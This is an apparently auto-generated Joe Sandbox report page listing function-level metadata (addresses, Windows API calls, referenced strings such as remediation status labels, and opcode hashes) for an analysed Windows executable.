Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FreeString
String ID: Remediation: %s$ignored
API String ID: 3341692771-4087165787
Opcode ID: d99785edc195997ddd09c7ad3e5f41bd8ead4e2d487e42c1d823f218471db799
Instruction ID: 6d75dbbdc5d9d9a355f58450bccbbc581fa7569f45dfb999c71cc36bff7ba728
Opcode Fuzzy Hash: d99785edc195997ddd09c7ad3e5f41bd8ead4e2d487e42c1d823f218471db799
Instruction Fuzzy Hash: BD41F772220A8096EB51EF36E8507DD2324F789BA8F805612FF5E97AE9CF74C645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400082D8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000014000846C

Strings

Remediation: %s, xrefs: 0000000140008312
quarantined, xrefs: 00000001400082D8

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FreeString
String ID: Remediation: %s$quarantined
API String ID: 3341692771-4269031909
Opcode ID: 15f603d7c3c1300dba2e629123486a0d5d8b5e765606bf8fcbbfa0bb3e8725f3
Instruction ID: f1bf44f55d5b73bb4049c4b255d4f55bd801cef4cbe1f82414b55b50e309cc0d
Opcode Fuzzy Hash: 15f603d7c3c1300dba2e629123486a0d5d8b5e765606bf8fcbbfa0bb3e8725f3
Instruction Fuzzy Hash: 6F41F772220A8096EB11EF36E8507DD2324F789BA8F805612FF5E97AA9CF74C645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400082E1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000014000846C

Strings

reportonly, xrefs: 00000001400082E1
Remediation: %s, xrefs: 0000000140008312

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FreeString
String ID: Remediation: %s$reportonly
API String ID: 3341692771-1437454803
Opcode ID: 1b9706d41bddfffa8b6be299cf9523416fe9a7202414131f9721e1b3db16a9f3
Instruction ID: 69370e95d4afdabca69a2a429675b89123bbbf2bdae1615990ad26fe133f8fdd
Opcode Fuzzy Hash: 1b9706d41bddfffa8b6be299cf9523416fe9a7202414131f9721e1b3db16a9f3
Instruction Fuzzy Hash: 0641F772220A8096EB11EF36E8507DD2324F789BA8F805612FF5E97AA9CF74C645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400082EA Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000014000846C

Strings

ignorealways, xrefs: 00000001400082EA
Remediation: %s, xrefs: 0000000140008312

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FreeString
String ID: Remediation: %s$ignorealways
API String ID: 3341692771-623253409
Opcode ID: d5b257b082d482840a8c7d431b2f4d04db9976b30eb0ce12dd0e934ed85cc4d3
Instruction ID: b177a3712e17a1bc2e1cf31016a2fbb536159994969f4336b60cb4bf6f13f032
Opcode Fuzzy Hash: d5b257b082d482840a8c7d431b2f4d04db9976b30eb0ce12dd0e934ed85cc4d3
Instruction Fuzzy Hash: A141F772220A8096EB11EF36E8507DD2324F789BA8F805612FF5E97AA9CF74C645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400082F3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000014000846C

Strings

cleaned, xrefs: 00000001400082F3
Remediation: %s, xrefs: 0000000140008312

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FreeString
String ID: Remediation: %s$cleaned
API String ID: 3341692771-3206119648
Opcode ID: c689a4940d5987144721a91bced242f68ab56f2156460ef2cab1a8c63ccb6a8c
Instruction ID: e0c5833f1891fa55e7fe1ff9dd8ff0c7a6775a61658ef99e0eb8e04631aa9a82
Opcode Fuzzy Hash: c689a4940d5987144721a91bced242f68ab56f2156460ef2cab1a8c63ccb6a8c
Instruction Fuzzy Hash: 0441F772220A8096EB11EF36E8507DD2324F789BA8F805612FF5E97AA9CF74C645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400882A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 0000000140049910: GetWindowDC.USER32(?,?,?,?,?,0000000140075E90), ref: 000000014004994F

GetWindowRect.USER32 ref: 00000001400882E2

Part of subcall function 000000014003A82C: GetWindowLongW.USER32 ref: 000000014003A849

InflateRect.USER32 ref: 0000000140088377

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

Strings

iii, xrefs: 0000000140088359

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$ConditionMaskRect$InflateInfoLongMetricsSystemVerifyVersion
String ID: iii
API String ID: 2584581174-940974255
Opcode ID: c25988b43402036ca6170c72cacf7253d90af9ca652de3852f8d1ecd9b5f0eea
Instruction ID: b7a81dce4a814047c8ba9c47b80535a8816eee96211b42252883cbf6b30ba4b5
Opcode Fuzzy Hash: c25988b43402036ca6170c72cacf7253d90af9ca652de3852f8d1ecd9b5f0eea
Instruction Fuzzy Hash: F6313832F10A0099FB12DB66E8597EC3770B75C7A9F800219EF1867AF5DBB8C9858744

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400026C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000140002775

Strings

false, xrefs: 0000000140002716
false, xrefs: 00000001400026F5

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: false$false
API String ID: 3668304517-3709328725
Opcode ID: bdfd5e478f8d5c1e37b730327fc16c2f557cc4971eec6492818f541d607dca6e
Instruction ID: c6ce82619973a170121f3bc432a07b68539cb5986f40ce6ff65290f4b1526211
Opcode Fuzzy Hash: bdfd5e478f8d5c1e37b730327fc16c2f557cc4971eec6492818f541d607dca6e
Instruction Fuzzy Hash: 0E315C72228B4580FA13DB26F8997EA6760F78D3A4F900611E79D036F5EF78C545C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400027F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001400028A5

Strings

true, xrefs: 0000000140002825
true, xrefs: 0000000140002846

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: true$true
API String ID: 3668304517-2879613866
Opcode ID: 23f64d0e50f501fbe73214a1fd7889908ac85007caa76620ab75920969cf0976
Instruction ID: febe12413654d29f01812ed7d4bff5e631bf879b6688f919646e0280be1b7b67
Opcode Fuzzy Hash: 23f64d0e50f501fbe73214a1fd7889908ac85007caa76620ab75920969cf0976
Instruction Fuzzy Hash: D7317C72225B4480FA22EB16F8997DA2360A78D3E4F900612E79D436F5EF7CC285C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014006C3AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 000000014006C3F6
SysAllocStringLen.OLEAUT32 ref: 000000014006C427

Strings

PropertyList, xrefs: 000000014006C3EF

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: AllocString
String ID: PropertyList
API String ID: 2525500382-1939653111
Opcode ID: 37385cecaab63a90d064f619d50396618d26a2f2e13a66f0ce477c6e8471a613
Instruction ID: d3e8e5d3784c24b11f00461443bf69e5de1259fa76df658bc52d89c665f66652
Opcode Fuzzy Hash: 37385cecaab63a90d064f619d50396618d26a2f2e13a66f0ce477c6e8471a613
Instruction Fuzzy Hash: A721A17621568081EA12CF17E8147BDA361F349BE0F248A12EB9D473E8DF79C491C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F0240 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001401F0279
LCMapStringW.KERNEL32 ref: 00000001401F0301

Strings

LCMapStringEx, xrefs: 00000001401F026D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 030c86258ba8f6641351f9fefa24165196a0330b41f7cd7e3849baf109006a80
Instruction ID: 663ae21239dff8ae2e3b628b0159d7f067f3fe513256871bcdfced9f1c56f13a
Opcode Fuzzy Hash: 030c86258ba8f6641351f9fefa24165196a0330b41f7cd7e3849baf109006a80
Instruction Fuzzy Hash: 54110336608BC086DB61CB56F48079AB7A5F7CDB94F54412AEF8D83B69DF38C4508B40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401E8318 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00000001401E83A7

Strings

sqrt, xrefs: 00000001401E8368
!, xrefs: 00000001401E8393

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _handle_error
String ID: !$sqrt
API String ID: 1757819995-799759792
Opcode ID: c1c3901215b94e0fdb42854f93618c38de63cceecb0da175c05832da6b8865f4
Instruction ID: 6dea1c9ec29ca287abe730b2372ff2e6a7f89cbc1dfff3965aa0a6769d16d7ac
Opcode Fuzzy Hash: c1c3901215b94e0fdb42854f93618c38de63cceecb0da175c05832da6b8865f4
Instruction Fuzzy Hash: DA11B972914B8482DF12CF11A44035E6661FBDABF4F108315AB6D067D8DB3CD0459B40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140088744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

InflateRect.USER32 ref: 0000000140088796
InflateRect.USER32 ref: 00000001400887DE

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

Strings

iii, xrefs: 0000000140088773

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ConditionInflateMaskRect$InfoMetricsSystemVerifyVersion
String ID: iii
API String ID: 1664059064-940974255
Opcode ID: 60df5d9fb41b2a18bdcb4f9ef365ce8f41e2d11fc3bba53bde57d37a9c19b17d
Instruction ID: fc33e75d129eea52a943dff87cc1195db0f3d41db0048789fc3c456756c7604d
Opcode Fuzzy Hash: 60df5d9fb41b2a18bdcb4f9ef365ce8f41e2d11fc3bba53bde57d37a9c19b17d
Instruction Fuzzy Hash: E821EC35E5094096F6229B13B968BD46761B35D7F9F804128EF094BAF1DBBDC8448744

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F46C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,00000001401F47C7,?,?,?,?,?,?,00000001401E41EF,?,?,?,00000001401E40BD), ref: 00000001401F4712
GetLastError.KERNEL32(?,?,?,00000001401F47C7,?,?,?,?,?,?,00000001401E41EF,?,?,?,00000001401E40BD), ref: 00000001401F4726

Strings

pPE, xrefs: 00000001401F46F1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: BuffersErrorFileFlushLast
String ID: pPE
API String ID: 1917127615-398285065
Opcode ID: fdd8c075a622ab11259e26b4beb99dc0f7da5fe0da22bbd8df2bc5bbc2d94739
Instruction ID: 7ac9101514603e59cb6e8453658762b047aeeb11fc4a8c8ac1e25b04454f0bf0
Opcode Fuzzy Hash: fdd8c075a622ab11259e26b4beb99dc0f7da5fe0da22bbd8df2bc5bbc2d94739
Instruction Fuzzy Hash: 3401DF72310B8986EB46AFA7E4887DD33A1AB4DF90F444128EB494B3F6CB78C854C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F00B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001401F00D9
GetUserDefaultLCID.KERNEL32(?,?,000000A0,00000001401FA8EC), ref: 00000001401F00F0

Strings

GetUserDefaultLocaleName, xrefs: 00000001401F00BC, 00000001401F00C6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: DefaultUsertry_get_function
String ID: GetUserDefaultLocaleName
API String ID: 3217810228-151340334
Opcode ID: 839dc8e67221ebc988e7ea1f2dbec7581856d3339ff0fa01f76b01bcad8e7138
Instruction ID: eb613d84da41e7d68304e9f96c6a9ff5366ec54f7dbed47a229f0f749f2d4907
Opcode Fuzzy Hash: 839dc8e67221ebc988e7ea1f2dbec7581856d3339ff0fa01f76b01bcad8e7138
Instruction Fuzzy Hash: 62F0A73531458092FB575B57B954FEA52A2AB8CBD0F444039AF090B7F5CFB8C8498340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F0114 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001401F0145
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00456068,00000001401F2796,?,?,?,00000001401F268E,?,?,?,00000001401E3E6E), ref: 00000001401F015F

Strings

InitializeCriticalSectionEx, xrefs: 00000001401F0139

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 4fc85808838f021f37183eb0652e05b8640de35167ecf98938ddd4554dbb72a6
Instruction ID: 392302d9b49bd3709b0ec367b7e8b58497cc0b4f8b7130960dc591f468539747
Opcode Fuzzy Hash: 4fc85808838f021f37183eb0652e05b8640de35167ecf98938ddd4554dbb72a6
Instruction Fuzzy Hash: E6F0E235714B80C2EB069B43F808BDA2621F78CBD0F484029EB5D07BA8CF78C844C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F031C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001401F0345
__crtDownlevelLocaleNameToLCID.LIBCPMT ref: 00000001401F035C

Strings

LocaleNameToLCID, xrefs: 00000001401F0328, 00000001401F0332

Memory Dump Source

